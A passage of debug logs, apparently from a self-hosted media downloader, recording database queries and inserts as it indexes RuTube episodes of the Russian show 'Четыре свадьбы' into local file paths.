Наташа из Нарьян-Мара устроит годовщину свадьбы в традиционном ненецком стиле с танцами и шаманскими обрядами. У тиктокера Даши будет современная свадьба в Тюмени. Студентка Аня из Рязани удивит всех свадьбой в медицинской тематике. Певица Алина из Севастополя приглашает на классическую свадьбу на берегу моря. Какие сюрпризы подготовили участницы, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Серия 11", "af6906a6c0fbfdd2ea21babc1abf42b0", 4162, false, "https://rutube.ru/video/af6906a6c0fbfdd2ea21babc1abf42b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 11.mp4", false, 1, ~U[2021-09-08 02:00:31Z]] 14:35:39.805 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=156.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:39.806 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=149.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:39.807 [debug] QUERY OK source="media_items" db=0.3ms idle=149.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38036] 14:35:39.808 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 4805, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 2.mp4", "id" => "86c2849c8769cd84b11333b01695baea", "original_url" => "https://rutube.ru/video/86c2849c8769cd84b11333b01695baea/", "playlist_index" => 31, "timestamp" => 1631066682, "title" => "Четыре свадьбы: Серия 2", "upload_date" => "20210908"} 14:35:39.809 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=150.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:39.810 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:39.810 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-08 02:04:42Z], 1] 14:35:39.947 [debug] QUERY OK source="media_items" db=135.6ms idle=5.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 2", "1911844e-e022-4405-ba9f-604bba48bfd7", "86c2849c8769cd84b11333b01695baea", 4805, false, "https://rutube.ru/video/86c2849c8769cd84b11333b01695baea/", 31, "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 2.mp4", false, false, false, 1, [], 2, ~U[2021-09-08 02:04:42Z], ~U[2025-12-09 11:35:39Z], ~U[2025-12-09 11:35:39Z], "", "Четыре свадьбы: Серия 2", "86c2849c8769cd84b11333b01695baea", 4805, false, "https://rutube.ru/video/86c2849c8769cd84b11333b01695baea/", "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 2.mp4", false, 1, ~U[2021-09-08 02:04:42Z]] 14:35:39.952 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=141.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:39.953 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=143.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:39.955 [debug] QUERY OK source="media_items" db=0.8ms idle=144.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38037] 14:35:39.956 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 5152, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011100 - Четыре свадьбы: Серия 15.mp4", "id" => "99e5ecfb56cd264c1a9bd803938deeae", "original_url" => "https://rutube.ru/video/99e5ecfb56cd264c1a9bd803938deeae/", "playlist_index" => 32, "timestamp" => 1641932404, "title" => "Четыре свадьбы: Серия 15", "upload_date" => "20220111"} 14:35:39.957 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=145.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:39.960 [debug] QUERY OK source="sources" db=2.9ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:39.961 [debug] QUERY OK source="media_items" db=0.6ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 20:20:04Z], 1] 14:35:40.102 [debug] QUERY OK source="media_items" db=140.1ms idle=8.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 15", "14d9fd1a-1d98-47ee-9ace-37bc133bf886", "99e5ecfb56cd264c1a9bd803938deeae", 5152, false, "https://rutube.ru/video/99e5ecfb56cd264c1a9bd803938deeae/", 32, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011100 - Четыре свадьбы: Серия 15.mp4", false, false, false, 1, [], 1, ~U[2022-01-11 20:20:04Z], ~U[2025-12-09 11:35:39Z], ~U[2025-12-09 11:35:39Z], "", "Четыре свадьбы: Серия 15", "99e5ecfb56cd264c1a9bd803938deeae", 5152, false, "https://rutube.ru/video/99e5ecfb56cd264c1a9bd803938deeae/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011100 - Четыре свадьбы: Серия 15.mp4", false, 1, ~U[2022-01-11 20:20:04Z]] 14:35:40.105 [debug] QUERY OK source="sources" db=1.7ms idle=148.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:40.106 [debug] QUERY OK source="media_profiles" db=0.4ms idle=148.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:40.107 [debug] QUERY OK source="media_items" db=0.6ms idle=145.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38038] 14:35:40.107 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 4790, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011000 - Четыре свадьбы: Серия 10.mp4", "id" => "0c634311179e366db016b791bd557186", "original_url" => "https://rutube.ru/video/0c634311179e366db016b791bd557186/", "playlist_index" => 33, "timestamp" => 1641820828, "title" => "Четыре свадьбы: Серия 10", "upload_date" => "20220110"} 14:35:40.108 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=146.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:40.109 [debug] QUERY OK source="sources" db=0.5ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:40.111 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-10 13:20:28Z], 1] 14:35:40.212 [debug] QUERY OK source="media_items" db=99.8ms idle=5.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 10", "833c9d50-6db7-4293-9ea2-4b4aead5b319", "0c634311179e366db016b791bd557186", 4790, false, "https://rutube.ru/video/0c634311179e366db016b791bd557186/", 33, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011000 - Четыре свадьбы: Серия 10.mp4", false, false, false, 1, [], 1, ~U[2022-01-10 13:20:28Z], ~U[2025-12-09 11:35:40Z], ~U[2025-12-09 11:35:40Z], "", "Четыре свадьбы: Серия 10", "0c634311179e366db016b791bd557186", 4790, false, "https://rutube.ru/video/0c634311179e366db016b791bd557186/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011000 - Четыре свадьбы: Серия 10.mp4", false, 1, ~U[2022-01-10 13:20:28Z]] 14:35:40.215 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:40.217 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=106.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:40.218 [debug] QUERY OK source="media_items" db=1.0ms idle=106.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38039] 14:35:40.219 [debug] Current batch of media processed. Will check again in 1000ms 14:35:41.220 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 4938, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012500 - Четыре свадьбы: Серия 18.mp4", "id" => "704ddf93bfadaf1231c178ad877d18a6", "original_url" => "https://rutube.ru/video/704ddf93bfadaf1231c178ad877d18a6/", "playlist_index" => 34, "timestamp" => 1643137205, "title" => "Четыре свадьбы: Серия 18", "upload_date" => "20220125"} 14:35:41.221 [debug] QUERY OK source="sources" db=0.4ms idle=1009.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:41.222 [debug] QUERY OK source="sources" db=0.7ms idle=1006.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.223 [debug] QUERY OK source="media_items" db=0.3ms idle=1005.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-25 19:00:05Z], 1] 14:35:41.477 [debug] QUERY OK source="media_items" db=253.7ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 18", "5f793514-8ed3-460f-917f-9051033697da", "704ddf93bfadaf1231c178ad877d18a6", 4938, false, "https://rutube.ru/video/704ddf93bfadaf1231c178ad877d18a6/", 34, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012500 - Четыре свадьбы: Серия 18.mp4", false, false, false, 1, [], 1, ~U[2022-01-25 19:00:05Z], ~U[2025-12-09 11:35:41Z], ~U[2025-12-09 11:35:41Z], "", "Четыре свадьбы: Серия 18", "704ddf93bfadaf1231c178ad877d18a6", 4938, false, "https://rutube.ru/video/704ddf93bfadaf1231c178ad877d18a6/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012500 - Четыре свадьбы: Серия 18.mp4", false, 1, ~U[2022-01-25 19:00:05Z]] 14:35:41.479 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=314.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:41.481 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=258.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:41.482 [debug] QUERY OK source="media_items" db=0.4ms idle=259.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38040] 14:35:41.483 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.79, "description" => "", "duration" => 4927, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012800 - Четыре свадьбы: Серия 19.mp4", "id" => "822ef5a609a1b23c0c5249f331bb7ccf", "original_url" => "https://rutube.ru/video/822ef5a609a1b23c0c5249f331bb7ccf/", "playlist_index" => 35, "timestamp" => 1643329223, "title" => "Четыре свадьбы: Серия 19", "upload_date" => "20220128"} 14:35:41.484 [debug] QUERY OK source="sources" db=0.8ms idle=259.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:41.486 [debug] QUERY OK source="sources" db=0.6ms queue=1.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 